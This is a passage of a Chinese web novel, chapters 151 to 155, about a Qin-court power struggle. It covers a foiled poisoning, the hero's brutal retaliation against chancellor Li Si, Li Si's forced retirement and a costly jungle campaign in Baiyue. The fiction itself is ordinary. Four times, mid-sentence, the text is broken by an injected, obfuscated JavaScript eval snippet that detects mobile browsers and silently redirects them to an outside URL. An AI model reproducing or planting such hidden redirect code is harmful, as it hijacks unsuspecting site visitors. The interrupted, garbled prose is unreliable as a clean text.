“以毒攻毒,以夷制夷。不错,清寒这孩子,有朕当年的风范。用一群不心疼的兵,去啃一块最硬的骨头。赢了,大赚。输了,不亏。这笔账,算得精明。” 他站起身,走到窗边,看着咸阳城繁华的夜景,语气里带着一丝玩味。 “至于李斯嘛……被逼到绝路的狗,总要跳墙的。朕就想看看,我那麒麟儿,打得了草原的狼,对付得了西域的羊,还能不能……斗得过一条朝堂上养了几十年的疯狗。” 嬴政转过身,看着呆若木鸡的陆佩奇,嘴角勾起一抹意味深长的笑意。 “去,告诉石猛。让他把眼睛睁大点,看好李斯放出去的那些狗。” “是……是拦住他们吗?”陆佩奇燃起一丝希望。 “不。”嬴政摇了摇头,笑容变得高深莫测,“别拦着。就看着,看他们想咬谁,看他们怎么咬。” 他顿了顿,声音里透出一股令人不寒而栗的威严。 “等我那孙儿,亲手把这些狗牙一颗一颗,全都敲碎了之后,再把那条疯狗,连同它的链子,一并给朕牵过来。” 第151章 毒蛇出巢,麒麟磨牙 第一百五十一章毒蛇出巢,麒麟磨牙 九原城,冠军侯府。 初秋的阳光透过窗棂,在书房的地板上洒下斑驳的光影。 一切都显得那么宁静祥和,仿佛连日来的胜利喜悦,已经渗透到了府邸的每一个角落。 姜瞳正坐在梳妆台前,一个新来的侍女正小心翼翼地为她梳理着如云的长发。 这侍女手脚很麻利,话也不多,只是眉眼间总带着一丝挥之不去的怯懦,让人心生怜悯。 “听说你是从关中逃难来的?” 姜瞳看着铜镜中的人影,随口问道。 侍女的手微不可查地顿了一下,随即用更低的声音回道:“是……是的,夫人。家中遭了灾,只能……只能出来讨口饭吃。” “你的手,很稳。”姜瞳忽然说了一句。 侍女的身子僵住了。 姜瞳的目光依旧停留在镜子里,声音温婉如水,却带着一种能看透人心的力量:“寻常人家的女子,便是做惯了粗活,指节也会粗大。你的手,纤细修长,虎口处却有一层薄茧。这茧子,不像握笔,倒像是常年握着什么更细、更硬的东西。” 侍女的呼吸变得急促起来。 “不必紧张。”姜瞳从镜中移开视线,回过头,那双清澈如秋水的眸子,静静地看着那张煞白的脸,“我只是好奇,是怎样的刀,才能磨出这样一层恰到好处的茧子。既能**,又不失美感。” “噗通!” 侍女双膝一软,直接跪倒在地,手中的木梳滚落在地。 她没有求饶,也没有辩解,只是死死地低下头,浑身筛糠般地颤抖。 门外,两名原本如同雕塑般的护卫,不知何时已悄然走入,一左一右,按住了她的肩膀。 姜瞳缓缓站起身,走到她面前,语气里听不出喜怒:“茶水里的东西,是谁让你放的?” 侍女猛地抬头,眼中闪过一丝决绝,嘴角竟渗出一缕黑血。 她竟是提前在齿间藏了剧毒。 “可惜了。”姜-瞳轻轻叹了口气,摇了摇头,“是条训练有素的死士。” …… 议事厅内,气氛冰冷得仿佛能凝出水来。 那名侍女的尸体就躺在地上,面容已经发黑。 文远蹲下身,用银针探了探她口**囊的残余,又检查了一下她的指甲缝,脸色无比凝重。 “主公,是‘罗网’。”文远站起身,声音里带着一股寒意,“这种见血封喉的剧毒,还有这种宁死不泄密的死士,是他们一贯的手段。” 顾清寒坐在主位上,面沉如水,一言不发。 他没有看那具尸体,目光一直落在姜瞳身上。当他得知刺客的目标是自己妻子时,一股混杂着后怕与暴怒的火焰,瞬间从心底燃起,几乎要将他的理智烧成灰烬。 他放在桌案上的手,指节因为用力而捏得发白。 李斯。 他没想到,这位大秦丞相,在朝堂上输得一败涂地之后,竟会用上如此下三滥的手段。 他以为这是棋局,对方却直接掀了桌子,要来取他家人的性命。 牛辅和李山河站在一旁,两人脸上的表情如出一辙,都是铁青一片,眼中喷着火。 “**!”牛辅那蒲扇般的大手猛地一拍腰间的刀柄,“这老狗!俺现在就带兵杀回咸阳,把他那丞相府给踏平了!” “牛哥,杀他一个人太便宜他了。”李山河的独眼中闪烁着森冷的杀机,“得让他也尝尝,身边的人一个个倒下的滋味。” “都闭嘴。”顾清寒终于开口了。 他的声音很平静,但熟悉他的人都知道,这平静之下,是即将爆发的雷霆风暴。 他站起身,走到那具尸体旁,低头看了一眼。 “查。”他只说了一个字。 文远立刻会意:“主公放心,三天之内,我一定把罗网在北疆的所有据点,都给您挖出来。” “不。”顾清寒摇了摇头,嘴角勾起一抹冰冷的弧度,“我不是让你去查他们。我是让你去查,李斯……还有什么亲人。” 文远一愣,随即明白了什么,眼中闪过一丝骇然。 主公这是要……以牙还牙,以血还血。 “他不是喜欢玩这种阴沟里的把戏吗?”顾清寒转过身,环视着自己最信任的部下们,“那我就陪他玩。他放出来的是一条条毒蛇,那我就放出饿狼去咬死他的蛇,再回头,把养蛇的人,也撕成碎片!” 他看向李山河:“玄甲军的斥候营,交给你。从今天起,你们的任务只有一个,盯着所有从关中方向过来的人。无论是商贾,还是流民,宁可错杀,绝不放过。我要让李斯派来的每一条狗,连九原的城墙都摸不到。” “是!”李山河重重捶胸。 “文远。” “属下在。” “给田儋去信,让他动用所有商路,给我查清罗网在关中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746059|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和齐鲁之地的所有产业。酒肆、米行、布庄……我不管是什么,三天之内,我要看到名单。” “主公的意思是……” “烧了。”顾清寒的语气不带一丝感情,“断他的财路,让他变成一条没钱雇人,只能自己上阵的疯狗。” 议事厅内,一片死寂。 所有人都被顾清寒身上散发出的那股凛冽杀气所震慑。 这已经不是权谋争斗了,这是不死不休的战争。 …… 咸阳,客栈。 陆佩奇感觉自己快要疯了,他跪在地上,几乎是哭着向嬴政汇报完九原发生的一切。 “陛……陛下!罗网动手了!目标是……是冠军侯的夫人!虽然被识破了,可……可这只是个开始啊!李斯那条老狗已经疯了,他什么事都做得出来!您再不出手,冠军侯他……” 嬴政正拿着一块布,细细擦拭着那匹神骏的汗血宝马的马鞍。听到陆佩奇的话,他的动作停顿了一下。 他没有回头,只是淡淡地问道:“清寒怎么说?” “他……他说……”陆佩奇咽了口唾沫,艰难地复述着,“他说,要查清李斯所有的亲人……还要烧了罗网所有的产业……” 嬴政擦拭马鞍的手,又重新动了起来。 “嗯,不错。”他点了点头,语气里甚至带着几分赞许,“朕还以为,他会吓得跑来找朕这个老头子哭鼻子呢。看来,是朕小看他了。” “陛下!”陆佩奇简直不敢相信自己的耳朵,“这……这都什么时候了,您还……” 嬴政终于转过身,他看着快要崩溃的陆佩奇,笑了。 “陆统领,你知道,猛虎是如何长成的吗?” 陆佩奇茫然地摇了摇头。 “不是在山林里称王称霸,而是要学会如何对付猎人的陷阱和暗箭。”嬴政的目光变得深邃,“李斯,就是朕给他的最后一块磨刀石。这块石头,又脏又硬,还带着毒。他要是能亲手把这块石头敲碎了,那这天下,就再也没有能绊倒他的东西了。” 他顿了-顿,嘴角勾起一抹无人能懂的弧度。 “传朕的密令给石猛。” “告诉他,让他的人,暗中帮清寒一把。不用直接动手,把罗网那些刺客的行踪,不经意地,透露给李山河的斥候营就行。” “朕的麒麟儿,要磨牙。” “朕这个当爷爷的,总得帮他把猎物,赶到嘴边才行。” 第152章 疯狗断牙,麒麟亮爪 第一百五十二章疯狗断牙,麒麟亮爪 一场无声的风暴,以九原为中心,向着整个大秦的腹地,猛然席卷开来。 齐地,临淄。 城内最大的酒楼“醉仙居”深夜时分突然起火,火光冲天,映红了半个夜空。当官府的差役慢悠悠赶到时,整座酒楼已经烧成了一片白地。坊间传闻,是后厨的伙夫不慎打翻了油灯。 只有田儋知道,那冲天的火光里,烧掉的不仅仅是美酒和珍馐,还有一个罗网组织在东方最重要的联络点和钱库。 他站在不远处的阴影里,看着那片焦黑的废墟,脸上没有丝毫波澜。 “下一个。”他对着身后的心腹,淡淡地吐出三个字。 类似的火光,在邯郸的米行,在陶郡的布庄,在关中各地的当铺,接二连三地亮起。每一场火,都像一把精准的手术刀,切断了罗网组织的一条条财路。 田氏的商路,一夜之间,从运送丝绸茶叶的脉络,变成了传递死亡与毁灭的**。他们做得干净利落,不留任何把柄,每一处都像是意外。 但所有人都知道,这不是意外。 这是来自北疆冠军侯的警告,是那位年轻的侯爷,在用天下钱庄的火,来回应咸阳城里射出的那支淬毒的暗箭。 …… 通往北地的官道上。 一支由七八人组成的商队,正不紧不慢地赶着路。为首的商人看起来精明干练,伙计们也都孔武有力,只是眉宇间都带着一股与身份不符的悍气。 “头儿,前面就是乌鞘岭了。过了那里,离九原就不远了。”一个伙计低声道。 为首的商人点了点头,眼中闪过一丝冷厉:“都打起精神来。这次的目标是文远,只要废了他,咱们就是大功一件。” 他们伪装得很好,无论是路引文书还是货物,都天衣无缝。 就在他们转过一个山坳时,为首的商人瞳孔猛地一缩。 前方的道路上,横七竖八地躺着十几具尸体,看服饰,是另一支商队的人。 一个独眼龙,正用脚将一具尸体翻过来,似乎在检查着什么。他身后,几十名身穿玄甲的骑兵散漫地或坐或立,像一群刚刚饱餐过的狼。 “妈的,又来一波。”独眼龙李山河直起身,有些不耐烦地啐了一口,“这**是第几波了?石猛将军送来的情报也太准了,搞得一点乐子都没有。” 他身边一个百夫长笑道:“将军,这不挺好吗?省得咱们费劲去找了。” “好个屁!”李山河一瞪眼,“这跟守在兔子洞门口捡兔子有什么区别?侯爷是让咱们来打猎的,不是来捡尸的!” 那支伪装的商队,此刻已经吓得魂飞魄散。 他们听懂了。 情报!他们的行踪,早就泄露了! “跑!”为首的商人当机立断,拨转马头。 然而已经晚了。 “咻——” 一支羽箭,带着破空的锐啸,精准地贯穿了他的后心。 李山河缓缓放下手中的长弓,那只独眼中,满是冰冷的蔑视。 “侯爷说了,宁杀错,不放过。”他对着手下挥了挥手,语气像是在吩咐人打扫垃圾,“处理干净,一个不留。把他们的脑袋挂在山口,告诉后面来的杂碎,此路不通。” …… 咸阳,丞相府。 地下密室里,李斯正对着一盘残局,独自枯坐。 一名罗网的统领,如同鬼魅般出现在他身后,单膝跪地,声音里带着无法抑制的惊惶。 “相爷……完了……全完了……” 李斯捏着棋子的手,没有动。 “东方的七十二处产业,一夜之间,或被烧,或被封,所有管事,人间蒸发。我们……我们安插在田氏内部的人,也被揪了出来,尸体就挂在临淄的城楼上。” 李斯手中的白子,轻轻落下,吃掉了黑子的一条大龙。 “派往九原的四批人,共计三十六名好手,全部失联。据逃回来的探子说,李山河的玄甲军斥候,就像长了千里眼,我们的每一条路线,每一个落脚点,都被他们摸得一清二楚。他们……他们在官道上,用我们人的脑袋,垒起了一座京观。” “啪。” 李斯手中的白子,掉在了棋盘上。 他没有发怒,也没有咆哮,只是缓缓地转过身,看着那名跪在地上的统领。 “我那个不成器的儿子,李由,怎么样了?” 统领的身子抖得更厉害了:“上郡……上郡传来消息。李由将军昨夜在府中饮宴,一名舞姬突然发难,刺伤了将军的左臂。虽无性命之忧,但……但那舞姬的**上,淬了南疆的奇毒,左臂……怕是废了。” “呵呵……呵呵呵……” 李斯突然笑了起来,那笑声干涩而凄厉,像是夜枭的悲鸣。 他输了。 输得彻彻底底。 他以为自己放出的是一群毒蛇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746060|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到对方直接牵来了一群饿狼。 他想玩阴的,对方比他更阴,更狠,更不讲规矩。 “相爷,我们查到,那舞姬,是蜀中一个早已覆灭的部族之后,全族皆亡于秦法……” “够了。”李斯打断了他,声音里透着一股死灰般的平静。 就在这时,又一名心腹连滚带爬地冲了进来,手里捧着一卷竹简,脸白如纸。 “相……相爷……九原……九原派人送来一份……一份薄礼。” 竹简被呈了上来。 李斯颤抖着手,缓缓展开。 上面没有一个字,只是一份名单。 从他的长孙,到他远在陇西的表侄,从他新纳的小妾,到她娘家的三姑六婆…… 他李氏一族,上上下下,一百七十三口人的名字、生辰、住址、喜好,甚至每天出行的路线,都清清楚楚地写在上面。 在名单的末尾,是文远那飘逸却又带着刺骨寒意的笔迹。 “闻丞相雅好博弈,特备棋子百余,以供消遣。不知丞相,下一手,欲落何子?” “噗——” 李斯再也压不住翻腾的气血,一口心血狂喷而出,将那份名单染得触目惊心。 他不是在问他。 他是在告诉他,只要你李斯再动一下,我顾清寒,就杀你全家。 …… 咸阳,客栈。 陆佩奇已经不知道该用什么表情来面对嬴政了。他只是呆呆地跪在那里,复述着一件件从各地传来的、令人毛骨悚T然的消息。 烧产业,屠刺客,废其子,诛其心。 一套组合拳下来,快得让人眼花缭乱,狠得让人不寒而栗。 嬴政听完,脸上却露出了满意的笑容。他走到窗边,看着丞相府的方向,慢悠悠地说道:“朕这位丞相,为大秦操劳了一辈子,也该到了告老还乡的时候了。” 他回头看向陆佩奇,那双深邃的眼睛里,是前所未有的欣赏。 “朕的麒麟儿,爪牙,终于磨利了。” “去,告诉清寒。”嬴政的嘴角,勾起一抹玩味的弧度,“就说朕听闻南方的茶叶味道不错,让他有空,给朕捎点回来。” 这已经不是暗示了。 这是在告诉顾清寒,北疆和西域的棋局,你已经赢了。 现在,朕把南方的棋盘,也交给你了。 而李斯那条疯狗,已经断了牙,再也碍不了你的事了。 第153章 丞相落幕,新茶飘香 第一百五十三章丞相落幕,新茶飘香 咸阳,丞相府。 曾经门庭若市,车水马龙的府邸,如今冷清得能听见落叶扫过石阶的声音。 府里的仆人,一夜之间少了大半,剩下的也都低着头,脚步匆匆,生怕沾染上什么晦气。 李斯独自一人跪坐在空旷的正堂,面前摆着那盘被心血染红的残局。 他一夜未眠,整个人像是被抽干了水分的枯枝,再无半分往日权倾朝野的气势。 一名内侍监拿着一卷明黄的圣旨,带着几分怜悯,几分疏远,站在他面前,用不带丝毫感情的语调宣读着。 没有斥责,没有定罪。圣旨上的言辞温和得像三月的春风。 说他为大秦操劳一生,功勋卓著,如今上了年岁,陛下体恤,特准他告老还乡,颐养天年。 连“丞相”之位,都是他“主动”请辞的。 李斯静静地听着,脸上没有表情。 他知道,这是陛下最后的体面,也是最无情的刀。 **不见血,诛心不留痕。 他这一生,最擅长的,就是这个。 没想到,最后会用在自己身上。 “臣……领旨谢恩。” 李斯的声音嘶哑干涩,他挣扎着想要叩首,身体却晃了晃,最终只是无力地垂下了头。 内侍监将圣旨放在他身旁的案几上,没再多看一眼,转身离去。 李斯缓缓抬起头,目光越过高高的门槛,望向了北方的天空。 他仿佛能看到那个年轻人的脸,带着一丝他看不懂的笑容,正遥遥地望着他。 他输了。 他用了一辈子,想把天下人都变成棋盘上的棋子。结果,自己却成了别人棋盘上,第一颗被提走的废子。 …… 九原,郡守府。 李斯“告老还乡”的消息,像一阵风,吹进了议事厅。 “哈哈哈!痛快!真是痛快!”牛辅不在,李山河就成了嗓门最大的那个。他一巴掌拍在桌子上,震得茶杯乱跳,“这老狗,总算是滚蛋了!侯爷,您这一手,比俺们在战场上砍一万个脑袋还解气!” 厅内的将领们也都面露喜色,连日来笼罩在众人心头的阴霾,一扫而空。 文远摇着羽扇,脸上也带着轻松的笑意:“李斯一倒,朝中那些见风使舵之辈,短期内不敢再与我们为难。主公,我们总算可以清净一阵了。” 顾清寒坐在主位上,脸上却没什么波澜。 对他而言,李斯不过是路上的一块绊脚石,如今踢开了,他的目光,早已投向了更远的前方。 就在这时,一名亲卫捧着一封信走了进来。 “侯爷,咸阳赵老伯派人送来的信。” 顾清寒展开信,信纸上还是那熟悉的,带着几分霸道的字迹。 “听闻河西的酒滋味不错,但老夫最近上了火,喝不得烈酒。倒是听人说,南方的茶叶清心败火,就是路途遥远,不好弄到。不知贤侄,可有门路?” 李山河凑过来看了一眼,挠了挠头:“这赵老伯,还真不客气。刚喝上咱们的酒,就又惦记上南方的茶了。这天底下,哪有这么好的事?” 顾清寒却是笑了,他将信纸递给一旁的姜瞳。 姜瞳看过,美目中泛起一丝笑意,柔声道:“夫君,这位老伯,可不是在问你要茶。” “哦?” “他是在问你,南边那片产茶的地,你什么时候给他拿下来。”姜瞳的声音很轻,却让在场所有人都听得清清楚楚。 议事厅内瞬间安静下来。 所有人的目光,都汇聚到了那副巨大的沙盘上,落在了南方那片被绿色和棕色覆盖的,神秘而广袤的土地——百越。 顾清寒站起身,走到沙盘前,手指轻轻在那片区域上划过。 “看来,咱们这位大金主,是等不及了。”他语气里带着几分调侃,“文远,牛辅那边,到哪了?” “回主公,”文远立刻答道,“牛辅将军已率狼崽军,抵达南郡与长沙郡交界。前日传来消息,他们已经进入了百越外围的丛林。” “好。”顾清寒点了点头,“传令天工坊,让他们加紧赶制一批防潮的油布,还有能驱蛇虫的药粉。另外,让田儋想办法,高价收购南方的医者和熟悉地形的向导,有多少要多少。” 他看着沙盘,眼神变得专注而锐利:“告诉牛辅,让他别急着找人打架。先学会怎么在那片林子里活下来。百越的毒蛇猛兽,可比朝堂上的疯狗,难对付得多。” …… 南郡边境,一片从未被开垦过的原始丛林。 湿热的空气,仿佛能拧出水来。参天的大树遮天蔽日,林间光线昏暗,到处都是腐烂的落叶和不知名的虫豸发出的怪叫。 五千名“狼崽军”的士兵,正深一脚浅一脚地跋涉其中。这些在草原上纵马驰骋的汉子,第一次感受到被环境支配的恐惧。 战马在这里寸步难行,他们只能徒步前进。身上的皮甲闷热无比,汗水刚流出来,就被潮气黏在身上。 “**!这是什么鬼地方!”一个匈奴百夫长一脚踩进泥潭,差点拔不出来,嘴里骂骂咧咧,“连个鸟都看不见,全是蚊子!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746061|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“闭上你的臭嘴!”牛辅骑着他那匹同样烦躁不安的汗血宝马,一鞭子抽在旁边的树干上,“顾少让咱们来打猎,不是让你们来抱怨的!谁再敢多说一句,就留下来跟这些虫子作伴!” 就在这时,队伍最前方突然传来一阵骚动。 牛辅立刻警觉起来,催马向前。只见几名斥候正围着一棵大树,脸色煞白。 树上,倒吊着一个他们派出去的同伴,喉咙被一根细细的藤蔓割开,血已经流干了。 而在那尸体旁边,用血画着一个诡异的图腾,像蛇,又像鸟。 “将军!是山越的手段!他们就在附近!”一名从南郡招募来的向导,声音都在发颤。 牛辅的脸色沉了下来。他还没找到猎物,自己的人,倒先成了猎物。 他翻身下马,走到那具尸体前,没有愤怒,独眼中反而燃起一丝兴奋的光芒。 “嘿,有意思。”他咧嘴一笑,露出森白的牙齿,“总算不是些只会躲在暗处放**的娘们了。” 他环视着手下那些同样被激起凶性的士兵,大吼一声:“都看见了?这地方的猎物,会咬人!这才叫打猎!传令下去,三人一组,把周围给老子翻个底朝天!老子倒要看看,是他们的藤蔓快,还是咱们的刀快!” 咸阳,客栈。 陆佩奇恭敬地站在一旁,看着嬴政悠闲地品着一杯清水。 李斯已经像一条丧家之犬,离开了咸阳。 他本以为自己可以松一口气,可一想到冠军侯的下一个目标,他的心又提到了嗓子眼。 “陛下,牛辅将军已经进入百越之地,可……可那地方瘴疫横行,部族凶悍,我大秦雄师数次南征都无功而返。侯爷只派了五千降卒……” 嬴政放下茶杯,打断了他。 “陆统领,你觉得,一把好刀,是怎么磨出来的?” 陆佩奇一愣,不知如何回答。 嬴政走到窗边,望着遥远的南方,眼神深邃。 “不是放在锦盒里,用上好的绸缎日夜擦拭。而是要用最粗糙,最坚硬的磨刀石,反复地打,反复地磨。” 他转过身,嘴角勾起一抹无人能懂的笑意。 “百越,就是朕给他找的最后一块磨刀石。那五千匈奴降卒,就是他手里的刀胚。朕不问他会磨断多少把刀,朕只要看,他最后,能给朕磨出一把什么样的绝世凶兵。” 嬴政的目光,仿佛穿透了时空,看到了那片烟雨朦胧的土地上,即将上演的血与火。 “这南方的茶,想必会带着一股铁锈味。”他慢悠悠地评价道,“不过,朕……很期待。” 第154章 丛林血猎,初尝败绩 第一百五十四章丛林血猎,初尝败绩 百越,瘴母林。 这片广袤的原始丛林,在本地人的口中,有着一个更形象的名字——血肉磨坊。 牛辅的“狼崽军”像一把被强行撒开的沙子,消失在浓绿的林海之中。这些习惯了在草原上一览无余,用马速和弯刀决定生死的匈奴汉子,第一次领教了什么叫叫天天不应,叫地地不灵。 丛林,是另一个世界。 “啊——” 一声凄厉的惨叫从不远处传来,又被厚重的湿气和树叶瞬间吞没。一名匈奴百夫长循声冲过去,只看到自己的一个手下胸口插着一根乌黑的**,正靠着树干抽搐,口鼻中涌出黑色的血沫,片刻便没了声息。 他警惕地环顾四周,除了摇曳的树影和虫鸣,什么也看不到。 “噗!” 一根削尖的竹矛从脚下的腐叶堆里猛地刺出,精准地贯穿了他的脚掌,将他死死钉在地上。剧痛让他发出一声闷哼,还没等他拔出弯刀,几根藤蔓如同毒蛇般从头顶的树冠垂下,缠住他的脖子,猛地向上收紧。 他连挣扎的机会都没有,双脚离地,被吊在了半空中,成为这片丛林里又一具冰冷的装饰品。 相似的场景,在丛林的每一个角落上演。 伪装成苔藓的绊马索,覆盖着落叶的陷阱深坑,涂抹着蛙毒的尖刺……山越人就像是丛林里的鬼魅,他们不与你正面交锋,只是用最原始、最致命的陷阱,耐心地收割着这些闯入者的生命。 两个时辰后,牛辅在临时营地里等来的,不是捷报,而是一个个缺胳膊断腿、满脸惊恐的败兵。 “将军!巴图的小队全完了!掉进了坑里,底下全是竹子!” “将军!阿古拉他们中了毒!全身都黑了,救不活了!” “将军,我们连敌人长什么样都没看到……” 牛辅那张黝黑的脸,涨成了猪肝色。他一拳砸在身旁的树干上,震得树叶哗哗作响。他入伍以来,打过最硬的仗,啃过最难啃的骨头,何曾像今天这般憋屈? 五千人,撒进林子里,就像往河里扔了一把盐,连个水花都没见着,就融化了。 “**!”牛辅双眼赤红,像一头被困住的蛮牛,“都给老子滚回来!收缩防线!老子就不信了,这帮地老鼠还能把咱们五千人全吃了不成!” 他第一次,对自己引以为傲的勇武,产生了怀疑。在这片林子里,勇武,是最没用的东西。 …… 九原,郡守府。 议事厅内的气氛,比冬日的北风还要凝重。 一名从南方日夜兼程赶回来的信使,浑身是伤,嘴唇干裂,正跪在地上,用嘶哑的声音汇报着战况。 “牛……牛将军率部进入瘴母林,分兵搜剿,遭遇……遭遇山越伏击。我军……伤亡惨重。一日之内,折损……折损超过八百人。” “什么?”李山河猛地站了起来,那只独眼中满是难以置信。 八百人!这才进去一天! 厅内的其他将领也都脸色大变。他们可以接受战死,但无法接受这种窝囊的死法。 文远眉头紧锁,轻轻摇着羽扇,手腕却不自觉地僵硬了。他知道百越难打,却没想到,只是一个照面,牛辅就付出了如此惨重的代价。 所有人的目光,都集中在了主位上的顾清寒身上。 顾清寒的脸上,没有愤怒,也没有惊慌,平静得有些可怕。他静静地听完信使的汇报,沉默了许久。 “学费,总是要交的。” 他缓缓开口,声音不大,却让所有人都安静了下来。 “只是没想到,第一堂课的学费,这么贵。” 他站起身,走到沙盘前,看着南方那片区域,目光深邃。“我们习惯了在平原上决战,用铁骑和军阵碾压敌人。而他们,是在用丛林和我们作战。我们的人,不是输给了山越,是输给了那片林子。” 他回头看向文远:“传令牛辅,立刻后撤三十里,退出瘴母林,在林子边缘的开阔地带,建立坚固营寨。高筑墙,深挖壕,给我死死地钉在那里。” “主公的意思是……坚守?”文远有些不解。 “不,是钓鱼。”顾清寒的嘴角,勾起一抹冷意,“告诉牛辅,让他把我们缴获的那些秦军制式兵器,都给我擦亮了,摆在营寨最显眼的地方。再派人,每天去林子边缘骂阵,怎么难听怎么骂。就说山越的男人都是缩头乌龟,只敢躲在树上当猴子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746062|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这……”李山河听得一愣,“侯爷,这不是白白送人头吗?” “送几个人头,能把他们从林子里引出来,这笔买卖,划算。”顾清寒的手指,在沙盘上重重一点,“他们是林子里的王,离开了林子,他们连狼崽子都算不上。牛辅的学费不能白交,他得学会,怎么把猎物,从它们的巢穴里,骗出来再杀。” …… 咸阳,客栈。 陆佩奇感觉自己快要窒息了。他拿着黑冰台刚刚送来的加急密报,手抖得不成样子。 “陛……陛下……败了!牛辅败了!一天!就一天!折损了将近一千人!那……那五千匈奴降卒,怕是……怕是要全军覆没了!” 嬴政正拿着一把小巧的刻刀,在一块上好的和田玉上,细细地雕琢着什么。听到陆佩奇那带着哭腔的声音,他连眼皮都没抬一下。 “哦,才**一千?”他的语气平淡得像是在问今天天气如何,“朕还以为,至少要死三千。” 陆佩奇的脑子“嗡”的一声,一片空白。 什么叫才**一千?那是一千条人命啊! “陛下!那可是冠军侯的兵啊!您……” 嬴政终于停下了手中的刻刀,他拿起那块玉,对着光看了看,似乎不太满意,随手扔到了一旁。 他转过身,看着面如死灰的陆佩奇,脸上露出一个高深莫测的笑容。 “陆统领,你见过驯鹰吗?” 陆佩奇茫然地摇了摇头。 “最烈的海东青,抓回来之后,要先饿着它,熬着它,让它吃尽苦头,磨掉它所有的野性。等到它饿得快**,再给它一点肉吃。如此反复,才能把它变成猎人手中最锋利的爪牙。” 嬴政走到窗边,望着南方的天空,语气悠悠。 “牛辅和他的狼崽军,就是朕的孙儿,想要驯服的那只海东青。百越的丛林,就是熬鹰的架子。死掉一千人,说明这只鹰的性子还烈得很。朕倒是想看看,我那麒麟儿,到底要花多大的代价,才能把这只鹰,彻底驯服。” 他顿了顿,嘴角勾起一抹残酷的弧度。 “传令下去,任何人不得干涉南方战事。朕的孙儿要交学费,谁也别拦着。” 第155章 诱蛇出洞,以血磨刀 第一百五十五章诱蛇出洞,以血磨刀 百越,瘴母林外。 一座崭新的营寨,在丛林的边缘拔地而起。壕沟深邃,墙垒高耸,鹿角丫杈密密麻麻,像一只蜷缩起来的刺猬,透着一股死守的决绝。 寨子里,气氛却和这坚固的工事截然相反。失败的阴影笼罩在每个“狼崽军”士兵的脸上。他们是草原上的狼,如今却像一群被拔了牙的狗,围坐在篝火旁,默默地舔舐着伤口,眼神里是挥之不去的惊恐和憋屈。 牛辅的大帐内,几名匈奴百夫长正梗着脖子,满脸通红。 “将军!让我们去林子边上骂街?这不是让兄弟们去送死吗?”一个断了条胳膊的百夫长嘶吼道,“那些猴崽子躲在树上放冷箭,咱们连人都看不见!” “是啊将军!这算什么打法?还不如让我们冲进去,跟他们拼个你死我活!” 牛辅坐在主位上,脸色黑得像锅底。他一巴掌拍在案几上,震得油灯乱晃。 “都**给老子闭嘴!”他瞪着血红的眼睛,像一头暴怒的公牛,“这是顾少的命令!顾少让咱们干什么,咱们就干什么!别说是去骂街,就是让咱们脱光了屁股去林子里跳舞,也得给老子跳!” 他抓起案几上的一个酒囊,灌了一大口,辛辣的酒水让他稍微冷静了些。他也不懂,但他信顾清寒。 “谁骂得好,骂得难听,能把那些地老鼠给骂出来,老子赏他十坛酒,两个娘们!”牛辅环视着手下这群桀骜不驯的悍将,咧开一个狰狞的笑容,“谁要是不敢去,老子现在就把他的脑袋拧下来当夜壶!” 于是,世界军事史上堪称最离奇的一幕,上演了。 每天清晨,天刚蒙蒙亮,一支由几十个嗓门最大、嘴巴最脏的匈奴壮汉组成的“骂阵敢死队”,就在一名南方向导的“翻译”下,跑到丛林边缘,开始他们一天的工作。 “嘿!林子里长毛的猴子们!爷爷们来了,快出来磕头!” “你们的女人是不是都跟山里的黑熊睡了?生下来的崽子才会长得这么丑?” “昨天被我们射死的那个,是他娘哪个部族的?裤裆里连个鸟都没有,也配当男人?” 起初,丛林里静悄悄的,只有几支淬毒的**无声地飞出,作为回应。骂阵的士兵偶尔会倒下一两个,但剩下的人,在牛辅“抚恤加倍”的命令下,骂得更起劲了。 几天之后,情况开始变了。 林子里射出的箭,不再那么精准,反而变得又多又急,像是被彻底激怒了。有时候,甚至能听到林深处传来气急败坏的吼叫声。 牛辅抓了几个舌头,严刑拷打之下,终于拼凑出了真相。 